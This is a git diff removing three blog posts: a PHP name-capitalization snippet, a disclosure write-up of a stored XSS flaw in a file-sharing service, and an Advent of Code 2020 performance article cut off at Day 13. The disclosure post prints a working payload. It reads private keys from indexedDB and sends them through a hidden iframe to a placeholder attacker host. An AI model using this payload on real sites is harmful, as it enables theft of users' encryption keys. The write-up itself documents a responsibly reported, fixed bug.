Before Width: | Height: | Size: 296 KiB |
Before Width: | Height: | Size: 171 KiB |
Before Width: | Height: | Size: 164 KiB |
|
@ -1,212 +0,0 @@
|
|||
+++
|
||||
title = "Snippet: Correctly capitalize names in PHP"
|
||||
description = "How to correctly capitalize and normalize names in PHP with this simple snippet"
|
||||
|
||||
[taxonomies]
|
||||
categories = ["snippet", "blog"]
|
||||
tags = ["php", "snippet"]
|
||||
|
||||
[extra]
|
||||
zenn_applause = true
|
||||
comments = [
|
||||
{url = "https://www.reddit.com/r/laravel/comments/cefz8o/poc_snippet_to_correctly_capitalize_names_in_php/", name = "Reddit"},
|
||||
{url = "https://lobste.rs/s/klpksc/poc_snippet_correctly_capitalize_names", name = "Lobsters"},
|
||||
]
|
||||
+++
|
||||
|
||||
When building websites with any kind of user registration, it's fascinating
|
||||
what people enter in name fields. no casing, Random CASING, a dozen spaces
|
||||
between words, or
|
||||
nospacingatall. Seeing this always irritates me, I'd fancy things to nice and
|
||||
be consistent.
|
||||
|
||||
{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png", url="/blog/snippet-correctly-capitalize-names-in-php/banner.png") }}
|
||||
|
||||
It appears that correctly normalizing name capitalization is an _unsolvable_
|
||||
puzzle. There is **no** consistency in name casing, or for any kind of name
|
||||
formatting for that matter.
|
||||
See [_Falsehoods programmers believe about names_][name-falsehoods].
|
||||
|
||||
> _I always wonder how big social networks handle this._
|
||||
|
||||
Okay, so this isn't solvable. But at least I could try to make it _better_.
|
||||
I came across [this][original] wonderful PHP snippet for name capitalization a while
|
||||
back, but it had a few shortages. It didn't correctly case with just a person's
|
||||
last name for instance (needed when storing first/last names separate). I love
|
||||
challenges like this and decided to improve, here is my take on it:
|
||||
|
||||
<!-- more -->
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Normalize the given (partial) name of a person.
|
||||
*
|
||||
* - re-capitalize, take last name inserts into account
|
||||
* - remove excess white spaces
|
||||
*
|
||||
* Snippet from: https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php
|
||||
*
|
||||
* @param string $name The input name.
|
||||
* @return string The normalized name.
|
||||
*/
|
||||
function name_case($name) {
|
||||
// A list of properly cased parts
|
||||
$CASED = [
|
||||
"O'", "l'", "d'", 'St.', 'Mc', 'the', 'van', 'het', 'in', "'t", 'ten',
|
||||
'den', 'von', 'und', 'der', 'de', 'da', 'of', 'and', 'the', 'III', 'IV',
|
||||
'VI', 'VII', 'VIII', 'IX',
|
||||
];
|
||||
|
||||
// Trim whitespace sequences to one space, append space to properly chunk
|
||||
$name = preg_replace('/\s+/', ' ', $name) . ' ';
|
||||
|
||||
// Break name up into parts split by name separators
|
||||
$parts = preg_split('/( |-|O\'|l\'|d\'|St\\.|Mc)/i', $name, -1, PREG_SPLIT_DELIM_CAPTURE);
|
||||
|
||||
// Chunk parts, use $CASED or uppercase first, remove unfinished chunks
|
||||
$parts = array_chunk($parts, 2);
|
||||
$parts = array_filter($parts, function($part) {
|
||||
return sizeof($part) == 2;
|
||||
});
|
||||
$parts = array_map(function($part) use($CASED) {
|
||||
// Extract to name and separator part
|
||||
list($name, $separator) = $part;
|
||||
|
||||
// Use specified case for separator if set
|
||||
$cased = current(array_filter($CASED, function($i) use($separator) {
|
||||
return strcasecmp($i, $separator) == 0;
|
||||
}));
|
||||
$separator = $cased ? $cased : $separator;
|
||||
|
||||
// Choose specified part case, or uppercase first as default
|
||||
$cased = current(array_filter($CASED, function($i) use($name) {
|
||||
return strcasecmp($i, $name) == 0;
|
||||
}));
|
||||
return [$cased ? $cased : ucfirst(strtolower($name)), $separator];
|
||||
}, $parts);
|
||||
$parts = array_map(function($part) {
|
||||
return implode($part);
|
||||
}, $parts);
|
||||
$name = implode($parts);
|
||||
|
||||
// Trim and return normalized name
|
||||
return trim($name);
|
||||
}
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Tap here to expand a better version for use with Laravel.</summary>
|
||||
|
||||
> This variant is more concise and uses a function approach using
|
||||
> [Laravel collections][laravel-collections]:
|
||||
>
|
||||
> ```php
|
||||
> <?php
|
||||
>
|
||||
> /**
|
||||
> * Normalize the given (partial) name of a person.
|
||||
> *
|
||||
> * - re-capitalize, take last name inserts into account
|
||||
> * - remove excess white spaces
|
||||
> *
|
||||
> * Snippet from: https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php
|
||||
> *
|
||||
> * @param string $name The input name.
|
||||
> * @return string The normalized name.
|
||||
> */
|
||||
> function name_case($name) {
|
||||
> // A list of properly cased parts
|
||||
> $CASED = collect([
|
||||
> "O'", "l'", "d'", 'St.', 'Mc', 'the', 'van', 'het', 'in', "'t", 'ten',
|
||||
> 'den', 'von', 'und', 'der', 'de', 'da', 'of', 'and', 'the', 'III', 'IV',
|
||||
> 'VI', 'VII', 'VIII', 'IX',
|
||||
> ]);
|
||||
>
|
||||
> // Trim whitespace sequences to one space, append space to properly chunk
|
||||
> $name = preg_replace('/\s+/', ' ', $name) . ' ';
|
||||
>
|
||||
> // Break name up into parts split by name separators
|
||||
> $parts = preg_split('/( |-|O\'|l\'|d\'|St\\.|Mc)/i', $name, -1, PREG_SPLIT_DELIM_CAPTURE);
|
||||
>
|
||||
> // Chunk parts, use $CASED or uppercase first, remove unfinished chunks
|
||||
> $name = collect($parts)
|
||||
> ->chunk(2)
|
||||
> ->filter(function($part) {
|
||||
> return $part->count() == 2;
|
||||
> })
|
||||
> ->mapSpread(function($name, $separator = null) use($CASED) {
|
||||
> // Use specified case for separator if set
|
||||
> $cased = $CASED->first(function($i) use($separator) {
|
||||
> return strcasecmp($i, $separator) == 0;
|
||||
> });
|
||||
> $separator = $cased ?? $separator;
|
||||
>
|
||||
> // Choose specified part case, or uppercase first as default
|
||||
> $cased = $CASED->first(function($i) use($name) {
|
||||
> return strcasecmp($i, $name) == 0;
|
||||
> });
|
||||
> return [$cased ?? ucfirst(strtolower($name)), $separator];
|
||||
> })
|
||||
> ->map(function($part) {
|
||||
> return implode($part);
|
||||
> })
|
||||
> ->join('');
|
||||
>
|
||||
> // Trim and return normalized name
|
||||
> return trim($name);
|
||||
> }
|
||||
> ```
|
||||
|
||||
</details>
|
||||
|
||||
<br />
|
||||
|
||||
Of course, this function fulfills the truth table presented with the original
|
||||
snippet:
|
||||
|
||||
| Input | Becomes |
|
||||
| :------- | :----- |
|
||||
| michael o’carrol | Michael O’Carrol |
|
||||
| lucas l’amour | Lucas l’Amour |
|
||||
| george d’onofrio | George d’Onofrio |
|
||||
| william stanley iii | William Stanley III |
|
||||
| UNITED STATES OF AMERICA | United States of America |
|
||||
| t. von lieres und wilkau | T. von Lieres und Wilkau |
|
||||
| paul van der knaap | Paul van der Knaap |
|
||||
| jean-luc picard | Jean-Luc Picard |
|
||||
| JOHN MCLAREN | John McLaren |
|
||||
| hENRIC vIII | Henric VIII |
|
||||
| VAsco da GAma | Vasco da Gama |
|
||||
|
||||
It neatly passes additional previously problematic situations as well.
|
||||
Brilliant!
|
||||
|
||||
| Input | Original snippet | This snippet |
|
||||
| :------- | :--- | :----- |
|
||||
| van der knaap | <u>**Van**</u> der Knaap | van der Knaap |
|
||||
| l’amour | <u>**L’A**</u>mour | l’Amour |
|
||||
| von lieres UND wilkau | <u>**V**</u>on Lieres<u> </u>und Wilkau | von Lieres und Wilkau |
|
||||
|
||||
<br />
|
||||
|
||||
Normalizing using a function like this makes it impossible for some to enter
|
||||
their name as formatted on their ID. Knowing the audience you serve, this is a
|
||||
risk you may be able to accept but it will never be perfect. You could always
|
||||
use this to suggest formatting improvements to the user, allowing them to choose
|
||||
what's right.
|
||||
|
||||
---
|
||||
|
||||
Using numbers to identify people would be a more rational choice, except when you're called Pi. /s
|
||||
|
||||
{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png") }}
|
||||
|
||||
Feel free to use and share.
|
||||
|
||||
_Special thanks to Armand Niculescu, for the [snippet][original] this was inspired by!_
|
||||
|
||||
[laravel-collections]: https://laravel.com/docs/collections
|
||||
[name-falsehoods]: https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/
|
||||
[original]: https://www.media-division.com/correct-name-capitalization-in-php/
|
|
@ -1,248 +0,0 @@
|
|||
+++
|
||||
title = "Stealing private keys from a secure file sharing service"
|
||||
description = "How I went about stealing private keys from a secure file sharing service with normal file request"
|
||||
|
||||
[taxonomies]
|
||||
categories = ["blog"]
|
||||
tags = ["hack", "web", "xss", "javascript"]
|
||||
|
||||
[extra]
|
||||
toc = true
|
||||
zenn_applause = true
|
||||
comments = [
|
||||
{url = "https://news.ycombinator.com/item?id=21371201", name = "Hacker News"},
|
||||
{url = "https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/", name = "Reddit"},
|
||||
{url = "https://lobste.rs/s/i9wflu/stealing_private_keys_from_secure_file", name = "Lobsters"},
|
||||
]
|
||||
+++
|
||||
|
||||
_Note: in agreement with the company, I decided not to name them to prevent
|
||||
damaging their brand image. The company fixed the issue within an hour after
|
||||
notifying them, big kudos for that._
|
||||
|
||||
Some days ago an article was posted on a Dutch tech website, showing off a newly
|
||||
released service to securely request files from someone through the web.
|
||||
|
||||
As always, I'm super interested in the cryptographic implementation of such
|
||||
services to ensure they're secure. Even if for example, the company servers
|
||||
would be compromised. Sadly, their website didn't go deep into the technical
|
||||
details. It only noted some simple facts that local cryptography is used with a
|
||||
private key using RSA and AES to provide end-to-end encryption. The application
|
||||
is not open-source which would allow easy auditing, and no white paper is
|
||||
available.
|
||||
|
||||
Their website claims the system is secure, but everyone makes mistakes. So I
|
||||
decided to put it to the test. Let's see what I could break.
|
||||
|
||||
Spoiler alert: it didn't turn out so well...
|
||||
|
||||
<!-- more -->
|
||||
|
||||
_This article goes into the technical details on how this was possible, you may
|
||||
want to skip to the PoC [video](#video) instead._
|
||||
|
||||
## XSS
|
||||
After making an account, I started testing with some basic well-known techniques.
|
||||
Soon I discovered that persistent/stored [cross-site scripting][xss] was possible
|
||||
through the account and company name fields.
|
||||
|
||||
The service allows you to create a file request. You'll then be provided a link
|
||||
to send to someone, or you can send this by e-mail through their website.
|
||||
The recipient user is presented with a page on which they can securely upload
|
||||
files. The request includes your public key, which is used to securely encrypt
|
||||
your files on their client before anything is transferred to servers. So far,
|
||||
all well and good!
|
||||
|
||||
Here's the thing. It appeared that on this file request page, the name (and
|
||||
company name) of the user that initiated the request is presented, but not
|
||||
properly sanitized.
|
||||
|
||||
By putting the following snippet in your account name field, a JavaScript
|
||||
message will appear as soon as someone opens any of your request links.
|
||||
|
||||
```html
|
||||
<script>alert('Hi there!');</script>
|
||||
```
|
||||
|
||||
{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-alert.png") }}
|
||||
|
||||
This means we can execute our own code on a targets machine. That's some nasty
|
||||
stuff! The question is, what significant things can we do with this issue?
|
||||
|
||||
## Local private keys
|
||||
The service uses client-side asymmetric encryption to secure your files. Because
|
||||
we're on a website, this must be done through JavaScript. This means that this
|
||||
[private key][private-key] is accessible through JavaScript. The service stores
|
||||
your generated private key in local [indexedDB][indexeddb] storage and is never
|
||||
sent over the network.
|
||||
|
||||
To give some context on private keys: these are essentially what keep encrypted
|
||||
files secure. Once you have the private key, you can decrypt files that use
|
||||
that key-pair. You **must** protect this key, and **cannot** share it with someone
|
||||
else.
|
||||
|
||||
You probably guessed it already, we can abuse this by accessing it ourselves by
|
||||
modifying our snippet we put in the name field.
|
||||
|
||||
I wrote some code to retrieve all local data that includes our key.
|
||||
I came this far in about half an hour. It's all quite simple:
|
||||
|
||||
```javascript
|
||||
var dbReq = indexedDB.open("companyname");
|
||||
dbReq.onsuccess = () => {
|
||||
var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
|
||||
store.onsuccess = () => alert(store.result.pem);
|
||||
};
|
||||
```
|
||||
|
||||
Embedding this in our name will make the file request pages show the receiving
|
||||
user's private key in a JavaScript alert. Whoops.
|
||||
|
||||
{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-rsa.png") }}
|
||||
|
||||
The amazing thing is that the request URL isn't modified to achieve this. It
|
||||
does not look suspicious. The malicious snippet is stored in the database.
|
||||
|
||||
## Collect private keys on attackers server
|
||||
Showing a user their private key isn't interesting and looks suspicious for
|
||||
sure. Let's send this key to a remote server for the attacker to collect, and
|
||||
profit, oh yes!
|
||||
|
||||
For this, I started an attempt on making [POST][http-methods] requests with the
|
||||
private key data to a remote domain I own. Here I hit the first roadblock. The
|
||||
name field only allows input up to 255 characters. Native JavaScript is quite
|
||||
verbose with making a request, so some serious [golfing][codegolf] would be
|
||||
required.
|
||||
|
||||
Soon I found out [jQuery][jquery] was included in the application, which allows
|
||||
making super simple and short [Ajax][ajax] requests. Brilliant!
|
||||
|
||||
This didn't work out in the end though because of some set [CORS][cors] headers,
|
||||
being a nice method for protecting against these kinds of things.
|
||||
|
||||
_Edit: Someone
|
||||
[mentioned](https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/f5jg0x5/)
|
||||
that this didn't work due to a misconfiguration on my server instead. I did set
|
||||
the `Access-Control-Allow-Origin` header to `*` but that didn't fix it. I
|
||||
then blindly assumed this was due to a CORS header on the company end._
|
||||
|
||||
Fun fact, this doesn't work against non-[Ajax][ajax] requests. Opting for a
|
||||
[GET][http-methods] request with the data suffixed to the URL was perfectly fine, so I
|
||||
choose to use [`iframes`][iframe]. I suffixed the data to the end of the URL
|
||||
like `//example.com/?k=DATA`, and silently added an `iframe` to the page with
|
||||
this link. The browser immediately loads this `iframe`, sending us our precious
|
||||
data. This is what we need:
|
||||
|
||||
```javascript
|
||||
$('body').append(
|
||||
'<iframe src="//example.com/?k=' +
|
||||
btoa(JSON.stringify(secret_data)) +
|
||||
'" />'
|
||||
);
|
||||
```
|
||||
|
||||
_Redirecting the user to the attacker's page using
|
||||
[`window.location.href`][window-location] would work as well, but that looks
|
||||
super suspicious._
|
||||
|
||||
Hurray! We're now remotely collecting someone's private key!
|
||||
|
||||
## Proof of Concept
|
||||
Now that we've implemented these steps, let's build a proof of concept.
|
||||
|
||||
With some effort, I compressed the code from above into the following one-liner.
|
||||
With my own short domain, it counts 250 characters, just below the 255 character
|
||||
limit. Beautiful!
|
||||
|
||||
```html
|
||||
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa(JSON.stringify(b.target.result))+'">'),1);</script>
|
||||
```
|
||||
|
||||
On the server-side I implemented a simple PHP script that retrieves the data we
|
||||
suffixed to the URL, it parses it, pulls the key from the data and appends it to
|
||||
a `keys.txt` file on my server. Nothing fancy.
|
||||
|
||||
This is all we need to steal someones private key for this service from a target!
|
||||
|
||||
## Video
|
||||
I've recorded a simple video showing off the proof of concept.
|
||||
|
||||
- There are two users, Alice and Bob.
|
||||
- Alice creates a request link and sends it to Bob.
|
||||
- Bob opens the request link and his private key is stolen.
|
||||
- The private key is sent to an external server Alice has access to, and Alice
|
||||
can now decrypt files sent to Bob.
|
||||
- On the right, the `keys.txt` file is shown in which stolen keys are collected.
|
||||
- In the end, I export Bob's key through the website as normal and compare it to the key we stole. They match!
|
||||
|
||||
<video controls><source src="https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm" type="video/webm"><source src="https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.mp4" type="video/mp4">Your browser does not support HTML5 video :(</video>
|
||||
|
||||
All in all, it took about 2 hours to figure all this out. Let's start fixing
|
||||
this.
|
||||
|
||||
## Fixed in an hour
|
||||
After I built the PoC, I immediately contacted the company privately to notify
|
||||
them about this issue. They did respond within 15 minutes over e-mail and we
|
||||
agreed on a secure channel I could use to provide details on this issue.
|
||||
|
||||
I sent them the details at 22:08, including the PoC video. They published a fix
|
||||
at 23:12. That's just in about an hour. Big applause to the company for
|
||||
fixing this issue so quickly. It shows they're dedicated to securing their
|
||||
service, as this was definitely out of company hours.
|
||||
|
||||
## Impact
|
||||
Let's go over the impact this might have had:
|
||||
|
||||
- The core issue here was that [XSS][xss] was possible. This has been fixed.
|
||||
- This issue allowed you to steal a targets private key if they had stored their
|
||||
private key in the browser on that computer the link was opened on.
|
||||
- The attacker could use their private key could be used to decrypt files that are
|
||||
sent to them, but only if you have access to the encrypted blob somehow. This
|
||||
would require access to their server, which this issue on its own didn't provide.
|
||||
- After finding this issue, I did not report it to anybody else other than the
|
||||
company until they fixed the problem.
|
||||
|
||||
Based on this I'd argue that real-world abuse of this issue would have been
|
||||
seriously minimal, if not non-existent.
|
||||
|
||||
## Closing off
|
||||
I guess what we've learned here is that you should never consider a service to
|
||||
be secure, purely on what they're claiming on their website. This shows to be
|
||||
true again and again.
|
||||
|
||||
I always recommend choosing a solution that:
|
||||
- Has been around for a while
|
||||
- That is open-source
|
||||
- That has been battle-tested in the real world
|
||||
- That has had public security audits by multiple parties
|
||||
- That relies on technologies that are considered to be safe based on thorough
|
||||
research and reviews
|
||||
- That is hosted by a _trustful_ party
|
||||
|
||||
_Do I recommend to look for something else than this service?_
|
||||
|
||||
Not necessarily. Other than this implementation issue, they seem to have
|
||||
set-up things quite well for what I can probe from the outside.
|
||||
They're using the right technologies for encryption, and definitely made some
|
||||
good choices with regard to security. It was just a sad thing they missed this
|
||||
tiny detail.
|
||||
|
||||
But if there's a different tool that meets your needs, and better
|
||||
fits the informal requirements I listed above, you're may be better off from a
|
||||
security standpoint.
|
||||
|
||||
To securely send someone a file, I personally recommend [Firefox Send][firefox-send]
|
||||
with [`ffsend`][ffsend] (which is a command line client for it that I built, shameless plug).
|
||||
|
||||
[ajax]: https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX
|
||||
[codegolf]: https://en.wikipedia.org/wiki/Code_golf
|
||||
[cors]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
|
||||
[ffsend]: https://github.com/timvisee/ffsend
|
||||
[firefox-send]: https://send.firefox.com/
|
||||
[http-methods]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods
|
||||
[iframe]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
|
||||
[indexeddb]: https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API
|
||||
[jquery]: https://jquery.com/
|
||||
[private-key]: https://info.ssl.com/faq-what-is-a-private-key/
|
||||
[window-location]: https://developer.mozilla.org/en-US/docs/Web/API/Window/location
|
||||
[xss]: https://en.wikipedia.org/wiki/Cross-site_scripting
|
Before Width: | Height: | Size: 478 KiB |
Before Width: | Height: | Size: 532 KiB |
Before Width: | Height: | Size: 20 KiB |
|
@ -1,790 +0,0 @@
|
|||
+++
|
||||
title = "Solving Advent of Code 2020 in under a second"
|
||||
description = "I solved all Advent of Code puzzles in less than one second total. In this article I describe some optimizations I used."
|
||||
|
||||
[taxonomies]
|
||||
categories = ["blog"]
|
||||
tags = ["rust", "performance", "aoc"]
|
||||
|
||||
[extra]
|
||||
toc = true
|
||||
zenn_applause = true
|
||||
comments = [
|
||||
{url = "https://news.ycombinator.com/item?id=26286781", name = "Hacker News"},
|
||||
{url = "https://www.reddit.com/r/adventofcode/comments/lttus6/2020_rust_solving_advent_of_code_2020_in_under_a/", name = "Reddit"},
|
||||
{url = "https://lobste.rs/s/rlx7ff/solving_advent_code_2020_under_second", name = "Lobsters"},
|
||||
{url = "https://mastodon.social/@timvisee/105804623902554005", name = "Mastodon"},
|
||||
]
|
||||
+++
|
||||
|
||||
```
|
||||
,--.-----.--.
|
||||
|--|-----|--|
|
||||
|--| |--|
|
||||
| |-----| |
|
||||
__|--| |--|__
|
||||
/ | |-----| | \ mm mmmm mmm
|
||||
/ \__|-----|__/ \ ## m" "m m" "
|
||||
/ ______---______ \/\ # # # # #
|
||||
/ / \ \/ #mm# # # #
|
||||
{ / _ _ _ \ } # # #mm# "mmm"
|
||||
| { / | | . | | /| } |-,
|
||||
| | \ |_| . |_| _|_ | | | mmmm mmmm mmmm mmmm
|
||||
| { } |-' " "# m" "m " "# m" "m
|
||||
{ \ / } m" # m # m" # m #
|
||||
\ `------___------' /\ m" # # m" # #
|
||||
\ __|-----|__ /\/ m#mmmm #mm# m#mmmm #mm#
|
||||
\ / |-----| \ /
|
||||
\ |--| |--| /
|
||||
--| |-----| |--
|
||||
|--| |--|
|
||||
|--|-----|--|
|
||||
`--'-----`--'
|
||||
```
|
||||
|
||||
[Advent of Code][aoc-2020] is a popular yearly programming competition. It's an
|
||||
Advent calendar of small programming puzzles for a variety of skill sets and
|
||||
levels that can be solved in any programming language you like.
|
||||
|
||||
Puzzles are released daily throughout December. [More][aoc-stats] than 150k
|
||||
people take part in this event. The toughest battle to solve each puzzle as soon
|
||||
as possible to become the best on the global [leaderboard][aoc-leaderboard].
|
||||
|
||||
In my timezone, puzzles are released at 6 o'clock in the morning. Since I'm a
|
||||
night owl, the biggest challenge for me here is to get up so early. I,
|
||||
therefore, set a different goal instead.
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## Subsecond
|
||||
|
||||
I want to develop a standalone, short, compact, fast and, elegant solution for
|
||||
each problem this year. In past competitions, I took part using the [Rust][rust]
|
||||
language. I've been using it a lot for other projects lately, and believe it is
|
||||
a fantastic language to build performant, secure, and robust software. This has
|
||||
always sparked my interest so Rust is a good fit.
|
||||
|
||||
Last year I came across [this][inspired-by] article, solving all puzzles in
|
||||
under a second. Yes, in less than one second total. This inspired me to
|
||||
challenge myself to the same this year:
|
||||
|
||||
*Solving Advent of Code 2020 in under a second on a single CPU core.*
|
||||
|
||||
Spoiler alert: I succeeded!
|
||||
|
||||
## What's in this for you?
|
||||
|
||||
In this article, I'd like to show you some optimizations I found appealing which
|
||||
I used to keep the solutions blazingly fast. I'll only talk about the most
|
||||
significant optimizations and the interesting bits. Most are algorithmic and are
|
||||
consequently language agnostic.
|
||||
|
||||
I'm just using basic time measurements on my machine. I won't be theoretically
|
||||
proving the efficiency of an approach. I optimized the runtime of my solutions
|
||||
based on my personal input. I did not make assumptions other than what is clear
|
||||
from the puzzle description though, so each solution should work for all inputs
|
||||
with comparable runtime. All user input is similar after all.
|
||||
|
||||
I hope this article will present you with some out-of-the-box approaches you can
|
||||
take away to make your future code more performant. Hence this piece is intended
|
||||
for programmers that value performance.
|
||||
|
||||
```
|
||||
)
|
||||
CHOO CHOO ' ))'
|
||||
{// '"
|
||||
"'' )
|
||||
___ ___ ____ ____ ____ __||_
|
||||
____ -- __ {___{{___{{___{(___(o)
|
||||
---- ---- 0 0 0 0 0 0 0 0'U'
|
||||
|
||||
code zooming past
|
||||
```
|
||||
|
||||
## Source code
|
||||
|
||||
Source code and measurements? See my solutions on GitHub:
|
||||
|
||||
<https://github.com/timvisee/advent-of-code-2020>
|
||||
|
||||
If you'd like to give these [puzzles][aoc-2020] a try and haven't done so yet, I highly
|
||||
recommend doing so before you continue reading. It contains
|
||||
spoilers.
|
||||
|
||||
Now, let's get started with the interesting stuff.
|
||||
|
||||
---
|
||||
|
||||
## Day 1: Report Repair
|
||||
|
||||
On the first day [part 2][d01p2], we're given a list of numbers. We must find 3 numbers
|
||||
that have a sum of 2020. All numbers are around 1000, so we're likely trying to
|
||||
find a pair of 3 small numbers.
|
||||
|
||||
I [sort][d01p2-code] the list of numbers from small to large before trying to
|
||||
find the correct pair, which decreases the runtime from `1.38ms` to `7μs`.
|
||||
|
||||
Yup, starting simple.
|
||||
|
||||
## Day 6: Custom Customs
|
||||
|
||||
On [day 6 part 1][d06p1] we're trying to find the number of unique questions.
|
||||
There are 26 in total, represented as letters. I take a 32-bit integer and
|
||||
[set][d06p1-code] the corresponding bit for each answer. I then count the number
|
||||
of ones. No expensive data structures are required.
|
||||
|
||||
```
|
||||
cady: 00000010110000000000000000000010
|
||||
ipldcyf: 00000000110100100100010000000010
|
||||
xybgcd: 00000000110010000000000000000110
|
||||
gcdy: 00000000110010000000000000000010
|
||||
dygbc: 00000001110010000000000000000010
|
||||
=OR=============================
|
||||
00000011110110100100010000000110 -> 11
|
||||
```
|
||||
|
||||
[Part 2][d06p2] is simple now: I take the same approach but [use][d06p2-code]
|
||||
the AND operation instead of OR when setting bits.
|
||||
|
||||
## Day 9: Encoding Error
|
||||
|
||||
On [day 9 part 2][d09p2] we must find a sequence of numbers in a list of
|
||||
numbers that sums up to a specific value.
|
||||
|
||||
The common approach seems to be to use a `for` in a `for` loop. This walks
|
||||
over each position with the outer loop and tries to find a sequence with the
|
||||
correct sum with the inner loop.
|
||||
|
||||
I'm [using][d09p2-code] a _dynamic sliding window_ approach instead (I better
|
||||
give it a fancy name you know). I start by sliding the _head_ forward, making
|
||||
the window and the sum larger. When the sum becomes larger than the target value
|
||||
I stop. Then I start sliding the _tail_ forward, making the window and the
|
||||
sequence sum smaller. When the sum becomes smaller than the target value I stop.
|
||||
|
||||
```
|
||||
>> tail >> >> head >>
|
||||
| |
|
||||
+-----------+
|
||||
... 35 20|15 25 47 40|62 55 65 95 102 ...
|
||||
+-----------+
|
||||
| tot: 127 |
|
||||
```
|
||||
|
||||
I keep alternating between sliding the _head_ and _tail_. Once the sum equals
|
||||
the target value, we've found the sequence and can solve the puzzle. This
|
||||
minimizes the number of required loops, making it more efficient.
|
||||
|
||||
## Day 10: Adapter Array
|
||||
|
||||
On [day 10 part 2][d10p2] we get a list of adapter voltages. Adapters may be
|
||||
plugged into each other if the adapter is 1 to 3 volts higher than the adapter
|
||||
you're plugging into. The puzzle is to figure out how many distinct adapter
|
||||
arrangements are possible.
|
||||
|
||||
I started with a sorted list because you can only plug higher-rated adapters
|
||||
into lower-rated ones. The maximum difference is 3, so I soon discovered that
|
||||
you can chunk the sequence of adapters. Each chunk of adapters has a difference
|
||||
of 3, which only gives one way to connect between them. You can now process each
|
||||
chunk separately to find distinct arrangements, multiplying their calculations.
|
||||
|
||||
```
|
||||
Chunks with adapters:
|
||||
|
||||
C1 >> C2 >> C3 >> C4 >> C5
|
||||
-- -- -- -- --
|
||||
1 4 10 15 19
|
||||
5 11 16
|
||||
6 12
|
||||
7
|
||||
-- -- -- -- --
|
||||
1x 7x 4x 2x 1x
|
||||
|
||||
Ways to connect:
|
||||
|
||||
1 + 7 + 4 + 2 + 1 = 15
|
||||
```
|
||||
|
||||
This resulted in chunks that always consisted of 2, 3, or 4 adapters. This makes
|
||||
it easy to find distinctions between them. I finally figured that I could
|
||||
[optimize][d10p2-code] it to a _fixed number of distinctions per chunk size_
|
||||
greatly reducing complexity.
|
||||
|
||||
I found 74049191673856 distinct ways to connect all adapters in just `5μs`. I
|
||||
can't even count to 1 within that time.
|
||||
|
||||
## Day 11: Seating System
|
||||
|
||||
On [day 11 part 1][d11p1] we're given a variation of [Conway's Game of
|
||||
Life][cgol] represented as a 2D arrangement of seats on a plane. Each iteration
|
||||
seat occupation changes based on a set of rules considering their neighbors, but
|
||||
seats don't move.
|
||||
|
||||
```
|
||||
L.LL.LL.LL L = empty seat
|
||||
LLLLLLL.LL . = nothing
|
||||
L.L.L..L..
|
||||
LLLL.LL.LL
|
||||
L.LL.LL.LL
|
||||
L.LLLLL.LL
|
||||
..L.L.....
|
||||
LLLLLLLLLL
|
||||
L.LLLLLL.L
|
||||
L.LLLLL.LL
|
||||
```
|
||||
|
||||
With regular _Game of Life_ you'd have to loop through all positions each
|
||||
iteration and evaluate all rules to determine their new state. Because this
|
||||
puzzle does not have a seat at every position (nor do seats always have 4
|
||||
neighbors) our plane is more like a [sparse array][sparse-array]. A lot of
|
||||
cycles would be wasted if we'd keep looping over all plane positions.
|
||||
|
||||
I decided to make a list of all seat positions and their respective neighbors.
|
||||
[This][d11p1-code] way I only had to go through this list of seats for each
|
||||
iteration. Determining what neighbors a seat has just needs to be performed
|
||||
once.
|
||||
|
||||
This is especially great for [part 2][d11p2] which makes things worse. It
|
||||
doesn't just consider direct neighbors anymore, but neighbors in line of sight
|
||||
making searching much more expensive. Luckily it doesn't affect my approach from
|
||||
the first part too much, as I only search [once][d11p2-code]. This is much more
|
||||
efficient than looping through all positions and finding neighbors every time.
|
||||
|
||||
## Day 12: Rain Risk
|
||||
|
||||
On [day 12 part 1][d12p1] we're given a sequence of navigation instructions for
|
||||
a ship. It includes cardinal directions, rotation, and forward instructions. We
|
||||
must figure out the distance between the start and destination position.
|
||||
|
||||
What makes this tricky is the rotation and forward instructions. The forward
|
||||
movement is dependent on your current rotation.
|
||||
|
||||
I use a single byte of which the first 4 bits define the current rotation. The
|
||||
first bit means north, the second bit means east, et cetera. Because the ship
|
||||
starts looking east, I start with the `0b01000100` pattern. For each rotation
|
||||
instruction, I simply [rotate][bitwise-rotate] the bits left or right. Rotating
|
||||
right would update the direction to `0b00100010`.
|
||||
|
||||
```
|
||||
Direction bits, shift to rotate 90 degrees left or right:
|
||||
|
||||
<< rotate left << >> rotate right >>
|
||||
|
||||
... <> 01000100 <> 00100010 <> 00010001 <> 10001000 <> ...
|
||||
|
||||
|
||||
Bit meaning:
|
||||
|
||||
[ y-1 ] [ y+1 ]
|
||||
[north] [south]
|
||||
| |
|
||||
Direction bits 00100010 would move ship south (y+1)
|
||||
| |
|
||||
[east] [west]
|
||||
[ x+1] [x-1 ]
|
||||
```
|
||||
|
||||
To move forward I [take][d12p1-code] this direction byte and use bitwise
|
||||
arithmetic to update the ship position. This removes branching (`if` statements
|
||||
and such) you'd normally expect for logic like this. Quite elegant.
|
||||
|
||||
## Day 13: Shuttle Search
|
||||
|
||||
On [day 13 part 2][d13p2] you're given a series of bus lines, each having a
|
||||
fixed schedule. You must find the time where each bus leaves one after
|
